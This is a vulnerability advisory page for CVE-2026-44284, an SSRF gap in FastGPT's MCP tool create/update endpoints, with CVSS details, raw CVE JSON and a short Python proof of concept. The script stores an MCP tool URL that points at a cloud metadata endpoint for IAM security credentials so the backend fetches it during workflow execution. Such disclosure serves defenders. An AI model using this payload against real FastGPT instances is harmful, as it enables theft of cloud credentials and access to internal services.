Security Vulnerability Report
中文
CVE-2026-44284 CVSS 6.3 MEDIUM

CVE-2026-44284

Published: 2026-05-08 23:16:40
Last Modified: 2026-05-12 16:40:21

Description

FastGPT is an AI Agent building platform. Prior to version 4.14.17, FastGPT had an inconsistent SSRF protection gap in MCP tool URL handling. The direct MCP preview/run endpoints already rejected internal/private network URLs, but the MCP tool create/update endpoints could still save an internal MCP server URL. That stored URL could later be used by workflow execution without revalidating the destination. An authenticated user with permission to create or manage MCP toolsets could store an internal endpoint such as http://localhost:3000/mcp and later cause the FastGPT backend workflow runner to connect to that internal destination. This issue has been patched in version 4.14.17.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

FastGPT < 4.14.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-44284 (FastGPT SSRF) This script demonstrates how an authenticated user might exploit the inconsistent SSRF protection by creating a malicious MCP tool pointing to an internal URL. """ import requests import json TARGET_URL = "http://fastgpt-instance.com" API_KEY = "YOUR_FASTGPT_API_KEY" # Requires low privileges # Malicious internal URL to target (e.g., metadata service or internal admin panel) # Attacker aims to force the backend to connect to this address during workflow execution MALICIOUS_INTERNAL_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Payload to create/update an MCP tool with an internal URL payload = { "name": "Malicious MCP Tool", "type": "mcp", "config": { "url": MALICIOUS_INTERNAL_URL # Vulnerability: Internal URL is accepted here } } print(f"[*] Attempting to create MCP tool pointing to: {MALICIOUS_INTERNAL_URL}") try: response = requests.post( f"{TARGET_URL}/api/v1/mcp-tools", headers=headers, data=json.dumps(payload) ) if response.status_code == 200 or response.status_code == 201: print("[+] MCP Tool created successfully! The internal URL has been stored.") print("[+] Triggering a workflow execution using this tool would now result in an SSRF request.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44284", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:39.507", "lastModified": "2026-05-12T16:40:21.437", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastGPT is an AI Agent building platform. Prior to version 4.14.17, FastGPT had an inconsistent SSRF protection gap in MCP tool URL handling. The direct MCP preview/run endpoints already rejected internal/private network URLs, but the MCP tool create/update endpoints could still save an internal MCP server URL. That stored URL could later be used by workflow execution without revalidating the destination. An authenticated user with permission to create or manage MCP toolsets could store an internal endpoint such as http://localhost:3000/mcp and later cause the FastGPT backend workflow runner to connect to that internal destination. This issue has been patched in version 4.14.17."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/labring/FastGPT/commit/c1c6b9520d976d25ed945b5bc4e0768149e6db69", "source": "[email protected]"}, {"url": "https://github.com/labring/FastGPT/pull/6826", "source": "[email protected]"}, {"url": "https://github.com/labring/FastGPT/releases/tag/v4.14.17", "source": "[email protected]"}, {"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-cxxj-99f7-f5wq", "source": "[email protected]"}, {"url": "https://github.com/labring/FastGPT/pull/6826", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-cxxj-99f7-f5wq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}